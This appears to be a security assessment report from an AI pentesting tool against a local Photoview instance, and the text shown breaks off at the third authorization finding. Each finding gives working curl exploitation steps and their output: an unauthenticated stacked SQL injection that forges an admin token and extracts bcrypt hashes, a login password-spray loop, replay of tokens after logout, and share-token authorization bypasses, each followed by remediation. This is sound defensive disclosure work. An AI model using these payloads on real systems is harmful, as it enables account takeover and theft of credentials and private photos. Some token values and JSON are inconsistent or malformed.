



SHANNON
AI Pentester by Keygraph

Security Assessment Report

Target **http://host.docker.internal:8000**

Tester **Shannon**

Date **2026-08-28**

Classification **CONFIDENTIAL**

This document contains sensitive security findings. Handle in accordance with your organization's data classification policy.

Contents

- Executive Summary 3
 - Scope 3
 - Limitations 3
- Successfully Exploited Vulnerabilities by Type 3
 - Injection 3
 - Authentication 3
 - Authorization 3
- Summary 4
 - Critical Findings 4
- Findings Overview 5
- Injection Exploitation Evidence (1 finding) 6
 - INJ-01: Unauthenticated stacked SQL injection in album download path parameter 6
- Authentication Exploitation Evidence (2 findings) 9
 - AUTH-01: No rate limiting or lockout on authorizeUser login 9
 - AUTH-02: Logout does not revoke access tokens 12
- Authorization Exploitation Evidence (7 findings) 14
 - AUTHZ-01: shareAlbum mints a public token for any existing album 14
 - AUTHZ-02: Media-only share nested resolvers expand into the whole album 16
 - AUTHZ-03: Album.shares and Media.shares leak every token for the object 18
 - AUTHZ-04: favoriteMedia returns foreign media without ownership check 19
 - AUTHZ-05: getUserToken inverts admin check so any user can manage admin shares 22
 - AUTHZ-06: Notification subscription broadcasts every user’s scanner events 24
 - AUTHZ-07: Share-token expire is stored but never enforced 25

Executive Summary

Target	http://host.docker.internal:8000
Date	2026-08-28
Tester	Shannon
Assessment Status	Completed with limitations

A security assessment of http://host.docker.internal:8000 on 2026-08-28 confirmed a critical unauthenticated stacked SQL injection on the album download endpoint that minted an admin session and extracted bcrypt password hashes, plus high-severity authorization defects that let any album owner mint public shares for other users' libraries and expand media-only shares into full album contents. Authentication is also weak: the public authorizeUser mutation has no rate limit or lockout, and logout only clears the client cookie so stolen tokens remain valid for 14 days. XSS and SSRF were assessed with no confirmed exploits; the demonstrated impact is unauthenticated database takeover and cross-user photo library disclosure.

Scope

Injection, Cross-Site Scripting (XSS), Authentication, Authorization, Server-Side Request Forgery (SSRF)

Limitations

- Some files were not reviewed by Agentic SAST.

Successfully Exploited Vulnerabilities by Type

Injection

- INJ-01 — Unauthenticated stacked SQL injection in album download path parameter

Authentication

- AUTH-01 — No rate limiting or lockout on authorizeUser login
- AUTH-02 — Logout does not revoke access tokens

Authorization

- AUTHZ-01 — shareAlbum mints a public token for any existing album
- AUTHZ-02 — Media-only share nested resolvers expand into the whole album
- AUTHZ-03 — Album.shares and Media.shares leak every token for the object
- AUTHZ-04 — favoriteMedia returns foreign media without ownership check
- AUTHZ-05 — getUserToken inverts admin check so any user can manage admin shares
- AUTHZ-06 — Notification subscription broadcasts every user's scanner events
- AUTHZ-07 — Share-token expire is stored but never enforced

Summary



Total identified 10
Successfully exploited 10

- 1 Injection
- 2 Authentication
- 7 Authorization

Critical Findings

1. INJ-01: Unauthenticated stacked SQL injection in album download path parameter

Findings Overview

ID	Title	Category	Severity
INJ-01	Unauthenticated stacked SQL injection in album download path parameter	Injection	CRITICAL
AUTH-01	No rate limiting or lockout on authorizeUser login	Authentication	MEDIUM
AUTH-02	Logout does not revoke access tokens	Authentication	MEDIUM
AUTHZ-01	shareAlbum mints a public token for any existing album	Authorization	HIGH
AUTHZ-02	Media-only share nested resolvers expand into the whole album	Authorization	HIGH
AUTHZ-03	Album.shares and Media.shares leak every token for the object	Authorization	HIGH
AUTHZ-04	favoriteMedia returns foreign media without ownership check	Authorization	MEDIUM
AUTHZ-05	getUserToken inverts admin check so any user can manage admin shares	Authorization	MEDIUM
AUTHZ-06	Notification subscription broadcasts every user's scanner events	Authorization	MEDIUM
AUTHZ-07	Share-token expire is stored but never enforced	Authorization	MEDIUM

Injection Exploitation Evidence (1 finding)

INJ-01: Unauthenticated stacked SQL injection in album download path parameter

CRITICAL

OWASP A05:2025 — Injection

Location	GET /api/download/album/{album_id}/{media_purpose}
Auth state	Unauthenticated
Prerequisites	None. The injection runs before authenticateAlbum; a missing auth-token cookie is sufficient. Do not send an invalid auth-token cookie (that 403s before the handler).
Overview	The album_id path parameter on GET /api/download/album/{album_id}/{media_purpose} is passed unsanitized into GORM Find before authentication. Non-numeric values become a raw WHERE clause, and the MySQL DSN enables MultiStatements. An unauthenticated attacker can therefore run stacked queries that insert session tokens and exfiltrate data through a stacked UPDATE side channel.
Impact	Unauthenticated attacker minted a valid admin session token (access_tokens id=18, user_id=1, value=Inj01ProofTokAAAAAAAAAAAA) and used it to call GraphQL as admin. Also extracted MariaDB version 12.3.3-MariaDB-ubu2404, database photoview, DB user photoview@172.19.0.3, all 14 table names, users columns, both user rows (id=1 admin / id=2 user), and both bcrypt password hashes.

Exploitation Steps

Step 1

Confirm the unauthenticated handler runs SQL before auth. A numeric album_id with no cookie returns 403 unauthorized (query succeeded, auth failed). An invalid identifier returns 404.

```
curl -sS -D- "http://host.docker.internal:8000/api/download/album/1/original"
# HTTP/1.1 403 Forbidden body: unauthorized

curl -sS -D- "http://host.docker.internal:8000/api/download/album/not_a_column/original"
# HTTP/1.1 404 Not Found body: 404
```

Step 2

Confirm time-based injection. GORM interpolates a non-integer album_id as a raw WHERE, so

1 AND SLEEP(n) is executed. Compare SLEEP(0) vs SLEEP(5) and a boolean IF.

```
curl -sS -o /dev/null -w "%{http_code} %{time_total}\n" \
"http://host.docker.internal:8000/api/download/album/1%20AND%20SLEEP(0)/original"
# 403 0.0036

curl -sS -o /dev/null -w "%{http_code} %{time_total}\n" \
"http://host.docker.internal:8000/api/download/album/1%20AND%20SLEEP(5)/original"
# 403 5.011
```

```
curl -sS -o /dev/null -w "%{http_code} %{time_total}\n" \
  "http://host.docker.internal:8000/api/download/album/1%20AND%20IF(1=1,SLEEP(2),0)/
  original"
# 403 2.007

curl -sS -o /dev/null -w "%{http_code} %{time_total}\n" \
  "http://host.docker.internal:8000/api/download/album/1%20AND%20IF(1=2,SLEEP(2),0)/
  original"
# 403 0.005
```

Step 3

Confirm stacked queries (DSN sets MultiStatements=true). Semicolon must be path-encoded as %3B.

```
curl -sS -o /dev/null -w "%{http_code} %{time_total}\n" \
  "http://host.docker.internal:8000/api/download/album/1%3BSELECT%20SLEEP(3)/original"
# 403 3.008
```

Step 4

Mint an admin session with a stacked INSERT into access_tokens (user_id=1 is the admin). Token value must be 24 alphanumeric characters to match the column size.

```
curl -sS -o /dev/null -w "%{http_code}\n" \
  "http://host.docker.internal:8000/api/download/album/1%3BINSERT%20INTO%20access_to
kens%20(user_id,value,expire,created_at,updated_at)%20VALUES%20(1,'Inj01ProofTokAAAA
AAAAAA','2030-01-01%2000:00:00',NOW(),NOW())/original"
# 403
```

Step 5

Use the forged cookie to take over the admin GraphQL principal.

```
curl -s -H "Content-Type: application/json" \
-H "Cookie: auth-token=Inj01ProofTokAAAAAAAAAAAA" \
-d '{"query":{"{ myUser { id username admin } user { id username admin } }"}}' \
"http://host.docker.internal:8000/api/graphql"
```

```

{"data":{"myUser":{"id":"1","username":"admin","admin":true},"user":[{"id":"1","user
name":"admin","admin":true},{id":"2","username":"user","admin":false}]}}

```

Step 6

Exfiltrate database fingerprint and schema through a stacked UPDATE of albums.title, then read it back with the forged admin session (the download response body is always 403, so UNION is not a useful channel).

```
# version
curl -sS -o /dev/null \
  "http://host.docker.internal:8000/api/download/album/1%3BUPDATE%20albums%20SET%20title%3D(SELECT%20VERSION())%20WHERE%20id%3D1/original"

# user and database
curl -sS -o /dev/null \
  "http://host.docker.internal:8000/api/download/album/1%3BUPDATE%20albums%20SET%20title%3D(SELECT%20CONCAT(USER(),0x7c,DATABASE()))%20WHERE%20id%3D1/original"

# table names
curl -sS -o /dev/null \
  "http://host.docker.internal:8000/api/download/album/1%3BUPDATE%20albums%20SET%20title%3D(SELECT%20TABLE_NAME%20FROM%20INFORMATION_SCHEMA%20TABLES%20WHERE%20TABLE_SCHEMA%3D%27%27%20AND%20TABLE_NAME%20LIKE%20%27%25%27%20AND%20TABLE_TYPE%3D%27BASE TABLE%27)%20WHERE%20id%3D1/original"
```

```

itle%3D(SELECT%20GROUP_CONCAT(table_name)%20FROM%20information_schema.tables%20WHERE
%20table_schema%3DDATABASE())%20WHERE%20id%3D1/original"

# users columns
curl -sS -o /dev/null \
  "http://host.docker.internal:8000/api/download/album/1%3BUPDATE%20albums%20SET%20t
itle%3D(SELECT%20GROUP_CONCAT(column_name)%20FROM%20information_schema.columns%20WHE
RE%20table_schema%3DDATABASE())%20AND%20table_name%3D'users')%20WHERE%20id%3D1/origin
al"

curl -sS -H "Content-Type: application/json" \
  -H "Cookie: auth-token=Inj01ProofTokAAAAAAAAAA" \
  -d '{"query":"{ user { albums { id title } } }"}' \
  "http://host.docker.internal:8000/api/graphql"

```

Step 7

Extract both bcrypt password hashes the same way, then restore the album title.

```

curl -sS -o /dev/null \
  "http://host.docker.internal:8000/api/download/album/1%3BUPDATE%20albums%20SET%20t
itle%3D(SELECT%20password%20FROM%20users%20WHERE%20id%3D1)%20WHERE%20id%3D1/original
"
# title becomes $2a$12$9Vrhvy.NLKNmRw1bMXZDI0pfYdwPJ2XT8oU5K4bQtFj2mGPTVZwlq (admin
)

curl -sS -o /dev/null \
  "http://host.docker.internal:8000/api/download/album/1%3BUPDATE%20albums%20SET%20t
itle%3D(SELECT%20password%20FROM%20users%20WHERE%20id%3D2)%20WHERE%20id%3D1/original
"
# title becomes $2a$12$Q30P7/l5o3iZdm.Kyrq160RHCh0FZyT2Yx00vza8HXASFRTEXJfd. (user)

curl -sS -o /dev/null \
  "http://host.docker.internal:8000/api/download/album/1%3BUPDATE%20albums%20SET%20t
itle%3D'photos'%20WHERE%20id%3D1/original"

```

Proof of Impact

1. Time-based confirmation (SLEEP executed in the Find query before 403):

```

1 AND SLEEP(0) -> HTTP 403 0.0036s
1 AND SLEEP(5) -> HTTP 403 5.011s
1 AND IF(1=1,SLEEP(2),0) -> HTTP 403 2.007s
1 AND IF(1=2,SLEEP(2),0) -> HTTP 403 0.005s
1;SELECT SLEEP(3) -> HTTP 403 3.008s
1 OR 1=1 -> HTTP 403 unauthorized
not_a_column -> HTTP 404

```

2. Forged admin session after stacked INSERT into access_tokens:

```

POST /api/graphql HTTP/1.1
Host: host.docker.internal:8000
Content-Type: application/json
Cookie: auth-token=Inj01ProofTokAAAAAAAAAA

{"query":"{ myUser { id username admin } }"}

```

```

{"data":{"myUser":{"id":"1","username":"admin","admin":true}}}

```

3. Admin user list via the same token:

```
{
  "data": {
    "user": [
      {
        "id": "1",
        "username": "admin",
        "admin": true,
        "albums": [
          {
            "id": "1",
            "title": "photos",
            "filePath": "/photos"
          },
          {
            "id": "2",
            "username": "user",
            "admin": false,
            "albums": [
              {
                "id": "1",
                "title": "photos",
                "filePath": "/photos"
              }
            ]
          }
        ]
      }
    ]
  }
}
```

4. Stacked UPDATE of albums.title used as an out-of-band channel (read back via GraphQL { user { albums { title } } }). Extracted: MariaDB 12.3.3-MariaDB-ubu2404; photoview@172.19.0.3|photoview; tables media, albums, share_tokens, user_preferences, access_tokens, image_faces, users, user_albums, media_exif, site_info, media_urls, video_metadata, face_groups, user_media_data; users columns id, created_at, updated_at, username, password, admin; users 1:admin:1;2:user:0; admin bcrypt \$2a\$12\$9Vrhvy.NLKNmRw1bMXZDIOpfYdwPJ2XT8oU5K4bQtFj2mGPTVZWlq; user bcrypt \$2a\$12\$Q30P7/l5o3iZdm.Kyrq16ORHCh0FZyT2Yx00vza8HXASFRTEXJfd.; injected token row 18:1:Inj01ProofTokAAAAAAAAAAAA. Album title was restored to photos after extraction.

Remediation

Parse album_id with strconv.Atoi (or bind it as an integer primary key) before any database call so non-numeric values never reach GORM Find. Run authenticateAlbum before the query, not after. Disable MultiStatements in the MySQL DSN. Reject requests that fail integer conversion with 400 rather than interpolating the path segment as SQL.

Notes

- UNION/error-based extraction is weak: SQL errors become HTTP 404 with body 404 (no MariaDB text), and a successful Find is always followed by authenticateAlbum which returns 403 unauthorized when no cookie/share token is present. Time-based SLEEP and stacked DML are the working channels. Numeric-only album_id is bound as a PK and is not injectable — payloads must fail strconv.Atoi. Invalid auth-token cookies 403 in middleware before the handler; omit the cookie. EXTRACTVALUE/UPDATEXML also 404 because they error the Find. gorilla/mux {album_id} is [^/]+, so encode spaces as %20 and semicolons as %3B; %2F cannot appear inside the parameter.

Authentication Exploitation Evidence (2 findings)

AUTH-01: No rate limiting or lockout on authorizeUser login

MEDIUM

OWASP	A07:2025 — Authentication Failures
Location	POST /api/graphql (mutation authorizeUser)
Auth state	Unauthenticated
Prerequisites	None. The mutation is unauthenticated. Usernames admin and user are the instance's known accounts (also typical defaults).
Overview	The public GraphQL login mutation authorizeUser has no per-IP or per-account rate limit, lockout, CAPTCHA, backoff, or failed-login monitoring. Consecutive failed password guesses

against the built-in admin and user accounts all returned HTTP 200 with status "invalid credentials" in ~190ms each, after which the correct password still issued a valid 24-character session token.

Impact Submitted 110 failed authorizeUser attempts (40 common passwords × {admin, user} plus 30 unique bruteforceNN passwords against admin) with zero HTTP 429s, zero lockout language, and no latency increase (min 185.6ms, max 239.4ms, avg 190.1ms, all HTTP 200). Immediately afterwards, authorizeUser with the correct password returned success:true and token jvzpob3zBMR9XDThTnmLJDUDW, which authorized query myUser as id=1 username=admin admin=true.

Exploitation Steps

Step 1

Send a failed login to prove the public mutation is reachable and returns a GraphQL data payload (not HTTP 401):

```
curl -sS -w '\nHTTP:%{http_code}\n' -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"mutation { authorizeUser(username: \"admin\", password: \"wrongpassword1\") { success status token } }"}'
```

Step 2

Observed: HTTP 200 body

`{"data":{"authorizeUser":{"success":false,"status":"invalid credentials","token":null}}}` in ~212ms. Spray 40 common passwords against usernames admin and user, then 30 additional unique passwords bruteforce01..bruteforce30 against admin (110 failures).

```
for p in admin password 123456 1234 photoview qwerty letmein welcome; do
  curl -sS -X POST http://host.docker.internal:8000/api/graphql \
  -H 'Content-Type: application/json' \
  -d "{\"query\":\"mutation(\\$u:String!,\\$p:String!){authorizeUser(username:\\$u,password:\\$p){success status token}}\", \"variables\":{\"u\":\"admin\", \"p\":\"$p\"}}\"
  echo
done
```

Step 3

Every attempt returned HTTP 200 / invalid credentials / token null. No 429, no backoff, no CAPTCHA, no lockout. Full transcript: 111 attempts, unique HTTP codes [200], latency min=185.6ms max=239.4ms avg=190.1ms. Immediately after the 110 failures, log in with the real password to prove the account was not locked:

```
curl -sS -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"mutation($u:String!,$p:String!){authorizeUser(username:$u,password:$p){success status token}}","variables":{"u":"$username","p":"$password"}}'
```

Step 4

Observed: HTTP 200 success: true, status: "ok", token: "jvzpob3zBMR9XDThTnmLJDUDW" (24 chars). Replay that session cookie against a protected field to prove the post-spray login is a real admin session:

```
curl -sS -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' \
```

```
-H 'Cookie: auth-token=jvzpob3zBMR9XDThTnmLJD UW' \
-d '{"query":"query { myUser { id username admin } }"}'
```

Proof of Impact

- 110 failed logins produced only HTTP 200 invalid credentials with no 429/lockout; the next correct login still minted a session that reached admin myUser. Failed-login sample (first and last of the spray):

```
user='admin' pass='admin' http=200 ms=190.9 success=False status='invalid credential
s'
user='admin' pass='bruteforce30' http=200 ms=186.6 success=False status='invalid cre
dentials'
```

- Post-spray successful login:

```
POST /api/graphql HTTP/1.1
Host: host.docker.internal:8000
Content-Type: application/json

{"query":"mutation($u:String!, $p:String!){authorizeUser(username:$u,password:$p){suc
cess status token}}", "variables":{"u":"$username", "p":"$password"}}
```

```
{"data":{"authorizeUser":{"success":true, "status":"ok", "token":"jvzpob3zBMR9XDThTnmL
JD UW"}}
```

- Protected query with that cookie:

```
{"data":{"myUser":{"id":"1", "username":"admin", "admin":true}}}
```

- Unauthenticated control:

```
{"errors":[{"message":"unauthorized", "path":["myUser"]}], "data":null}
```

- Summary from the run: total_attempts=111 unique_http_codes=[200] latency_ms min=185.6 max=239.4 avg=190.1 any_http_429=False lockout_language=False final_correct_login_succeeded=True.

Remediation

Add per-account and per-IP rate limiting plus lockout on authorizeUser (for example, exponential backoff after 5 failures and a temporary lock after 10). Return HTTP 429 on the GraphQL transport when the limit is hit. Log GraphQL operation name and login outcome in LoggingMiddleware so failed-login sprays are visible. Consider CAPTCHA after a small number of failures.

Notes

- Failures are GraphQL data.authorizeUser on HTTP 200, so they never surface as 401 in access logs. LoggingMiddleware records method/path/status/username but not GraphQL operation or login outcome, so this spray is also invisible as failed-login telemetry. bcrypt cost 12 produces the ~190ms floor; that is hashing delay, not lockout. Combined with AUTH-04 (no password policy) this is an unconstrained spray oracle; the 40-password common list did not hit the live user account.

AUTH-02: Logout does not revoke access tokens

MEDIUM

OWASP A07:2025 — Authentication Failures

Location	GET /logout
Auth state	Any authenticated user
Prerequisites	A valid auth-token for the victim (from a prior authorizeUser login). The victim then visits GET /logout in their own browser.
Overview	Photoview logout only clears the client auth-token cookie. The corresponding access_tokens row is never deleted, so a captured 24-character token remains valid until its original 14-day Expire. After the victim visited /logout (cookie gone, UI on /login), the same token still authorized myUser as admin and the admin user list; a second concurrent login token remained valid as well. Changing the account password also left the old token working.
Impact	Demonstrated that after the victim browser hit GET /logout (document.cookie empty, URL /login), replaying Cookie: auth-token=O0KW9cWvupuqWRSeMopSqHwa still returned myUser id=1 username=admin admin=true and the full admin user list. A second token minted by a later login (YW2XsmzghrPqSJ6zZWBu0fE6) also remained valid. A separate account (revoketest) kept its old token after admin updateUser changed the password.

Exploitation Steps

Step 1

Log in to obtain a session token (the value is returned in JSON; the server never sends Set-Cookie):

```
curl -sS -D - -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"mutation($u:String!,$p:String!){authorizeUser(username:$u,password:$p){success status token}}","variables":{"u":"$username","p":"$password"}}'
```

Step 2

Record data.authorizeUser.token (example captured during this run from a browser login: O0KW9cWvupuqWRSeMopSqHwa). Optionally mint a second token with the same mutation; this run produced YW2XsmzghrPqSJ6zZWBu0fE6. Both remain independently valid. Confirm the token authorizes a protected query before logout:

```
curl -sS -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' \
-H 'Cookie: auth-token=O0KW9cWvupuqWRSeMopSqHwa' \
-d '{"query":"query { myUser { id username admin } }"}'
```

Step 3

Observed: {"data":{"myUser":{"id":"1","username":"admin","admin":true}}}. In the victim browser, visit logout so the client cookie is cleared. LogoutPage (Routes.tsx) only runs clearTokenCookie() then navigates home. After this step the victim browser had document.cookie === "" and URL http://host.docker.internal:8000/login. There is no GraphQL logout mutation and no DELETE of access_tokens.

```
# browser: open http://host.docker.internal:8000/logout
# or from a session that currently holds the cookie:
curl -sS -I http://host.docker.internal:8000/logout
```

Step 4

Replay the pre-logout token from an independent client that never visited /logout:

```
curl -sS -D - -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' \
-H 'Cookie: auth-token=00KW9cWvupuqWRSeMopSqHwa' \
-d '{"query":"query { myUser { id username admin } user { id username admin } }"}'
```

Proof of Impact

1. Victim after GET /logout:

```
{ "cookie": "", "url": "http://host.docker.internal:8000/login", "title": "Login - Photoview" }
```

2. Attacker replay of the same token immediately afterwards:

```
POST /api/graphql HTTP/1.1
Host: host.docker.internal:8000
Content-Type: application/json
Cookie: auth-token=00KW9cWvupuqWRSeMopSqHwa

{"query":"query { myUser { id username admin } user { id username admin } }"}
```

```
{ "data": { "myUser": { "id": "1", "username": "admin", "admin": true }, "user": [ { "id": "1", "username": "admin", "admin": true }, { "id": "2", "username": "user", "admin": false } ] } }
```

3. Second login token, never presented to /logout, still authorized myUser as admin (YW2XsmzghrPqSJ6zZWBu0fE6). Password-change does not revoke either: created revoketest (id 14), logged in (token=2yz294osoBxska6UI0SAd2nI), admin updateUser(id:14, password:"newpass123"), then the old token still returned myUser { id:14, username:revoketest }. UserFromAccessToken only checks expire > now; nothing deletes rows except onDelete:CASCADE when the user is deleted.

Remediation

Add a GraphQL logout mutation that DELETES the current access_tokens row (and optionally all rows for that user_id). Have GET /logout and Apollo onError call that mutation before clearTokenCookie. On password change, delete every access_tokens row for that user_id so existing sessions are invalidated. Consider rotating the token on each login instead of accumulating independent 14-day rows.

Notes

- There is no logout mutation in schema.graphql. Apollo onError also calls clearTokenCookie on unauthorized without server revoke (ui/src/apolloClient.ts). Token generation always INSERTs a new 24-char row (GenerateAccessToken); existing rows are left untouched, so login does not rotate a stolen token. Idle timeout does not exist — only the absolute 14-day Expire.

Authorization Exploitation Evidence (7 findings)

AUTHZ-01: shareAlbum mints a public token for any existing album

HIGH

OWASP A01:2025 — Broken Access Control

Location	POST /api/graphql#mutation.shareAlbum
Auth state	Any authenticated user who owns at least one album
Prerequisites	Authenticated user who owns at least one album (user id=2 owns album 1). A second album the caller does not own (here album 5 /app/ui, album 3 /tmp, album 6 /app). Users with zero albums are blocked (count==0). Nonexistent album IDs fail the FK.
Overview	AddAlbumShare counts whether the caller owns some album, then inserts ShareToken{AlbumID: client-supplied albumId} without binding albums.id. Any user who owns at least one album can mint an 8-character public share for an album they cannot query, then read that album anonymously via shareToken / album(id, tokenCredentials).
Impact	As user id=2, album(id: 5) returned forbidden. shareAlbum(albumId: 5) returned token SkLSTOMD. An anonymous client then queried album 5 with that token and received title "ui", filePath /app/ui, and all three photos (apple-touch-icon.png, logo192.png, logo512.png) including filesystem paths. GET /api/photo/apple-touch-icon_EzymEX5Q.png?token=SkLSTOMD returned HTTP 200 (13706 bytes). The same pattern worked for admin albums 3 (/tmp) and 6 (/app).

Exploitation Steps

Step 1

Log in as non-admin user id=2. Confirm they cannot open the target album:

```
curl -s -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' -H "Cookie: auth-token=[USER_SESSION]" \
-d '{"query":"{ album(id: 5) { id title filePath } }"}
```

Step 2

Observed: {"errors":[{"message":"forbidden","path":["album"]}],"data":null}. Admin album(id: 4) (user-only /etc) is likewise forbidden — admin is not a gallery bypass. Mint a share for the forbidden album:

```
curl -s -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' -H "Cookie: auth-token=[USER_SESSION]" \
-d '{"query":"mutation { shareAlbum(albumId: 5) { id token hasPassword expire } }"}
```

Step 3

Observed: {"data":{"shareAlbum":{"id":"3","token":"SkLSTOMD","hasPassword":false,"expire":null}}}. Repeat for albumId 3 (et6WGpHB) and 6 (ARiO53C7). Unauthenticated shareAlbum is unauthorized. albumId 999 fails FK 1452. Anonymously consume the token:

```
curl -s -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ album(id: 5, tokenCredentials: {token: \"SkLSTOMD\"}) { id title filePath media { id title path } } }\"}'
```

Step 4

Then fetch a file with the same token:

```
curl -sI 'http://host.docker.internal:8000/api/photo/apple-touch-icon_EzymEX5Q.png?token=SkLSTOMD'
```

Proof of Impact

1. Ownership check fails for the caller:

```
{\"errors\": [{\"message\": \"forbidden\", \"path\": [\"album\"]}], \"data\": null}
```

2. Mutation still mints a public token:

```
{\"data\": {\"shareAlbum\": {\"id\": \"3\", \"token\": \"SkLSTOMD\", \"hasPassword\": false, \"expire\": null}}}}
```

3. Anonymous GraphQL dump of the admin-only album:

```
{\"data\": {\"album\": {\"id\": \"5\", \"title\": \"ui\", \"filePath\": \"/app/ui\", \"media\": [{\"id\": \"5\", \"title\": \"apple-touch-icon.png\", \"path\": \"/app/ui/apple-touch-icon.png\"}, {\"id\": \"8\", \"title\": \"logo192.png\", \"path\": \"/app/ui/logo192.png\"}, {\"id\": \"11\", \"title\": \"logo512.png\", \"path\": \"/app/ui/logo512.png\"}]}}}}
```

4. Anonymous REST:

```
GET http://host.docker.internal:8000/api/photo/apple-touch-icon_EzymEX5Q.png?token=SkLSTOMD
HTTP/1.1 200 OK
Content-Length: 13706
Content-Type: image/png
```

5. shareToken later showed owner {id: \"2\", username: \"user\", admin: false} for a token pointing at admin album
5. Same mint+anonymous-read succeeded for /tmp (album 3, token et6WGpHB) and /app (album 6, token ARiO53C7).

Remediation

Bind AddAlbumShare to the requested albumId: require EXISTS user_albums for that specific album (same pattern already used by shareMedia), not merely that the caller owns some album. Reject album IDs the caller does not own with forbidden before inserting ShareToken.

Notes

- shareMedia is correctly bound (EXISTS user_albums on that media's album) and rejected mediaId 5 with unauthorized — this bug is album-only. Nested owner on the mutation response was empty (id 0) because the insert does not preload Owner; query shareToken later showed owner id=2 username=user.

AUTHZ-02: Media-only share nested resolvers expand into the whole album

HIGH

OWASP A01:2025 — Broken Access Control

Location	POST /api/graphql#query.media nested Media.album / Album.media
Auth state	Unauthenticated (valid media-only share token)
Prerequisites	A media-only share token for a photo that sits in an album with other media (here admin share HOvqUL4N on media 5; user share rsOllx2j on media 1). No authentication required for the exploit query.
Overview	A media-share token is correctly bound at the root media(id) resolver (MediaID must match). Nested mediaResolver.Album does Find(&album, obj.AlbumID) with no token re-bind, and Album.media/subAlbums/shares/thumbnail list by FK only. An anonymous visitor with a single-photo share can walk into the containing album, every sibling's path/URLs, and every share token on those objects.
Impact	Anonymous query media(id: 1, tokenCredentials: {token: rsOllx2j}) returned not only buttercup_close_summer_yellow.jpg but album 2 (album1, /photos/album1) with all four photos' paths and thumbnail/high-res URLs, plus album share tokens pWgOTQvy and Nz70077l. Root album(id: 5, token: HOvqUL4N) and media(id: 8, token: HOvqUL4N) correctly returned unauthorized. GET sibling thumbnail with the media-only token returned 403; GET the shared photo returned 200.

Exploitation Steps

Step 1

Create (or obtain) a single-media share. As an owner of media 1:

```
curl -s -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' -H "Cookie: auth-token=[USER_SESSION]" \
-d '{"query":"mutation { shareMedia(mediaId: 1) { id token } }}"'
```

Step 2

Observed token rsOllx2j. Alternatively use an admin media share (HOvqUL4N for media 5 on this run). Confirm the token is media-scoped at the root:

```
# sibling with the same token – denied
curl -s -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ media(id: 8, tokenCredentials: {token: \"HOvqUL4N\"}) { id title } }}"'
# album root with a media-only token – denied
curl -s -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ album(id: 5, tokenCredentials: {token: \"HOvqUL4N\"}) { id title } }}"'
```

Step 3

Both return unauthorized. Ask for nested album/media/shares on the authorized media:

```
curl -s -X POST http://host.docker.internal:8000/api/graphql \
-H 'Content-Type: application/json' \
```

```
-d '{"query":{"media(id: 1, tokenCredentials: {token: \"rs0llx2j\"}) { id title path album { id title filePath media { id title path thumbnail { url } highRes { url } shares { token } } shares { token hasPassword } } } } }'
```

Step 4

Show REST still binds the original media token to that one file:

```
curl -sI 'http://host.docker.internal:8000/api/photo/thumbnail_buttercup_close_summer_yellow_jpg_6GgUnL90.jpg?token=rs0llx2j'  
curl -sI 'http://host.docker.internal:8000/api/photo/thumbnail_lilac_lilac_bush_lilac_jpg_zcg00iQo.jpg?token=rs0llx2j'
```

Proof of Impact

1. Root ACL holds for a media-only token:

```
{\"errors\": [{\"message\": \"unauthorized\", \"path\": [\"album\"]}], \"data\": null}  
{\"errors\": [{\"message\": \"unauthorized\", \"path\": [\"media\"]}], \"data\": null}
```

2. Nested expansion of rs0llx2j (media 1) into album 2 and all siblings:

```
{\"data\": {\"media\": {\"id\": \"1\", \"title\": \"buttercup_close_summer_yellow.jpg\", \"path\": \"/photos/album1/buttercup_close_summer_yellow.jpg\", \"album\": {\"id\": \"2\", \"title\": \"album1\", \"filePath\": \"/photos/album1\", \"media\": [{\"id\": \"1\", \"title\": \"buttercup_close_summer_yellow.jpg\", \"path\": \"/photos/album1/buttercup_close_summer_yellow.jpg\"}, {\"id\": \"2\", \"title\": \"lilac_lilac_bush_lilac.jpg\", \"path\": \"/photos/album1/lilac_lilac_bush_lilac.jpg\"}, {\"id\": \"3\", \"title\": \"mount_merapi_volcano_indonesia.jpg\", \"path\": \"/photos/album1/mount_merapi_volcano_indonesia.jpg\"}, {\"id\": \"4\", \"title\": \"timeline.png\", \"path\": \"/photos/album1/timeline.png\"}], \"shares\": [{\"token\": \"pWg0TQvy\"}, {\"token\": \"Nz70077l\"}]}}}}
```

3. Same expansion on admin media share HOvqUL4N dumped album 5 (/app/ui) including siblings logo192.png / logo512.png and album tokens SkLSTOMD and CVZfxBqb. REST confirmation that the original media token does not serve siblings:

```
GET .../api/photo/thumbnail_buttercup_close_summer_yellow_jpg_6GgUnL90.jpg?token=rs0llx2j -> 200  
GET .../api/photo/thumbnail_lilac_lilac_bush_lilac_jpg_zcg00iQo.jpg?token=rs0llx2j -> 403 Forbidden
```

Remediation

Re-check the share token in nested resolvers: Media.album should only return the parent when the token is an album-level share (or the caller owns the album), not when it is a media-only ShareToken. Album.media, Album.subAlbums, Album.shares, and Media.shares must not list siblings or other tokens for a media-scoped credential. Mirror the REST authenticateMedia binding that already 403s sibling files.

Notes

- Parent-album share dumping children via nested media/subAlbums is intended capability and is not this finding. REST /api/photo?token=MEDIA_TOKEN still binds to that MediaID.

AUTHZ-03: Album.shares and Media.shares leak every token for the object

HIGH

OWASP A01:2025 — Broken Access Control

Location	POST /api/graphql#Album.shares / Media.shares
Auth state	Unauthenticated (any valid share token for the object)
Prerequisites	Ability to load the Album or Media object — owner session, co-owner, or any valid share token for that object. On this instance album 5 had both a user-minted token (SkLSTOMD) and an admin-minted token (CVZfxBqb); album 2 had pWgOTQvy plus later tokens.
Overview	Album.shares and Media.shares query WHERE album_id/media_id = ? with no owner_id filter. The schema comment claims the list is owned by the logged in user, but ShareToken.token is a public String. Anyone who can load the Album or Media — including an anonymous share-token visitor — receives every share-token value on that object, including unpassworded sibling tokens that are independent capabilities.
